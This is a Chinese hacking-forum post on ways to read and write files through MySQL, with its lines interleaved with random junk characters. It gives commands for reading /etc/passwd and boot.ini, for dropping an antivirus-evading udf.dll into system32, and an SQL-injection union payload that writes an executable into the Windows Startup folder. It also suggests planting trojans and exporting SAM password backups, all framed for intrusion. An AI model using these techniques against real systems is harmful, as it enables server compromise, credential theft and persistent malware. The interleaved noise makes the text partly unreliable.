中国网络渗透测试联盟

标题: mysql下读取文件的几种方式 [打印本页]

作者: admin    时间: 2012-9-13 16:34
标题: mysql下读取文件的几种方式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
+ F- Q. r, D- a4 T+ o* N; x( _7 I思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同 6 r* }8 h6 g* c3 G

9 R& `' e! s/ umysql3.x下
3 D* T  d8 u9 X7 t% _5 w" r2 y- |( {3 `) d
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
2 O; l) [2 @" R
1 y. m. Z6 P1 d! emysql>create table a (cmd text); & k9 u; B8 c$ `% \: g, Y
mysql>load data infile 'c:\\boot.ini' into table a;
6 N7 w5 y2 T% W# {8 j; Kmysql>select * from a;
+ ]9 P& B8 Z9 R; ]; v% y; f3 R, g2 K" U# U' u/ v
mysql4.x下 " |* W/ g$ M: Q' v: f

# x& u1 L2 `; p) M3 Cmysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
# ?( V/ m/ k$ {2 y
" h! N  U. k7 C8 Fmysql>create table a (cmd text);
" h4 u2 ], r3 ymysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
5 C# a! Y( p, A( S6 ?/ Q- y6 Wmysql>select * from a;
: A/ [( L" V0 K
, _) P+ A6 ~* F8 Nmysql5.x下
9 t$ O% E5 }# `7 \" y- S1 |6 Z
- A& L1 e+ a( w) i4 Z在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下 . [" Z. E7 T/ q3 O: L& |" O
9 c0 ^% U  G7 V& a. w9 w+ X; H
mysql>system cat /etc/passwd 8 w( l1 r' ^9 A+ T- q! x2 X

: ~& p: A* S3 U3 g. \) C* ?: Y( c: [' X
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
8 p+ [' M3 ~* o) e! w
+ X5 Z. }2 b0 f2 q/ C" S' x, S3 y' I9 x5 i
例:把免杀过的udf.dll文件插入系统目录 . f- c# i, E. \1 ^8 |7 u6 D
  }3 P7 M/ p* E+ L" Z8 P
create table a (cmd LONGBLOB); ' z9 ]. {' K- H9 Q/ m
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll'))); 3 z0 @+ s9 v5 k
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; 9 Y2 Z! j" q- ?( _- R
; \7 `* X: _# Q6 k/ k7 A9 r* |
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
/ k9 g2 Q4 O' Y' ]6 V1 o, Z+ o+ p
& g$ O' h5 q; a% M
注入中的语法(未测试)
" C2 v8 a2 _( a: z; E' s# ]: \5 [; g$ m. S/ o2 a
& z% g+ h5 G' i6 S0 F
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2